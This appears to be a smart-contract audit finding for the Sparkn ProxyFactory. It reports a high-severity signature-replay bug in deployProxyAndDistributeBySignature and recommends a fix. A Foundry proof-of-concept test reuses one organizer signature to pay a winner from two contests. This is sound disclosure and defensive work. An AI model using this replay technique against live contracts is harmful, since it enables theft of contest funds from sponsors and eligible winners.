Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: high
Valid

Malicious user can claim ineligible rewards if contestId is reused for different implementations

Summary

A vulnerability exists that allows a malicious user to claim ineligible rewards if the same contestId is reused for different implementations.

Vulnerability Details

The vulnerability arises when the owner mistakenly sets up two contests with the same Organizer and contestId, only changing the implementation for different COMMISSION_FEE. When both contests are closed, the winner of the first contest can use the generated signature to call the deployProxyAndDistributeBySignature function with a different implementation, distributing rewards on both contests with the same call data due to a vulnerability at Line 159. This allows the malicious winner to steal rewards in the second contest even if they are not in the winner list.

// Findings are labeled with '<= FOUND'
// File: src/ProxyFactory.sol
152: function deployProxyAndDistributeBySignature(
153: address organizer,
154: bytes32 contestId,
155: address implementation,
156: bytes calldata signature,
157: bytes calldata data
158: ) public returns (address) {
159: bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(contestId, data)));// <= FOUND: Malicious user can claim illigible rewards if contestId is reused for different implementations
160: if (ECDSA.recover(digest, signature) != organizer) revert ProxyFactory__InvalidSignature();
161: bytes32 salt = _calculateSalt(organizer, contestId, implementation);
162: if (saltToCloseTime[salt] == 0) revert ProxyFactory__ContestIsNotRegistered();
163: if (saltToCloseTime[salt] > block.timestamp) revert ProxyFactory__ContestIsNotClosed();
164: address proxy = _deployProxy(organizer, contestId, implementation);
165: _distribute(proxy, data);
166: return proxy;
167: }

Proof of concept

// File: test/integration/ProxyFactoryTest.t.sol
function testSignatureIsUsedForMultipleRegisteredImplemetations() public {
vm.warp(12345);
// before
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 0 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 0 ether);
// set multiple contests with different implementations while contestId is kept untouched
bytes32 randomId = keccak256(abi.encode("Jason", "001"));
vm.startPrank(factoryAdmin);
proxyFactory.setContest(TEST_SIGNER, randomId, block.timestamp + 20 days, address(distributor));
Distributor distributor2 = new Distributor(address(proxyFactory), stadiumAddress);
proxyFactory.setContest(TEST_SIGNER, randomId, block.timestamp + 20 days, address(distributor2));
vm.stopPrank();
// Send funds to both contests
bytes32 salt1 = keccak256(abi.encode(TEST_SIGNER, randomId, address(distributor)));
address proxyAddress1 = proxyFactory.getProxyAddress(salt1, address(distributor));
bytes32 salt2 = keccak256(abi.encode(TEST_SIGNER, randomId, address(distributor2)));
address proxyAddress2 = proxyFactory.getProxyAddress(salt2, address(distributor2));
vm.startPrank(sponsor);
MockERC20(jpycv2Address).transfer(proxyAddress1, 10000 ether);
MockERC20(jpycv2Address).transfer(proxyAddress2, 10000 ether);
vm.stopPrank();
// Signature is created ONCE to handle contest 1
(bytes32 digest, bytes memory sendingData, bytes memory signature) = createSignatureByASigner(TEST_SIGNER_KEY);
assertEq(ECDSA.recover(digest, signature), TEST_SIGNER);
vm.warp(21 days);
// Use the same Signature for both contests
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, randomId, address(distributor), signature, sendingData
);
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, randomId, address(distributor2), signature, sendingData
);
// user1 gets rewards from both contests eventhough he might not be eligible for both
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 19000 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 1000 ether);
}

End result proved that user1 can claim rewards from the two contests even though he might not be eligible for both.

Impact

Funds in the second contest can be lost to ineligible users.

Tools Used

VsCode

Recommendations

Include the implementation parameter in the digest creation step.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.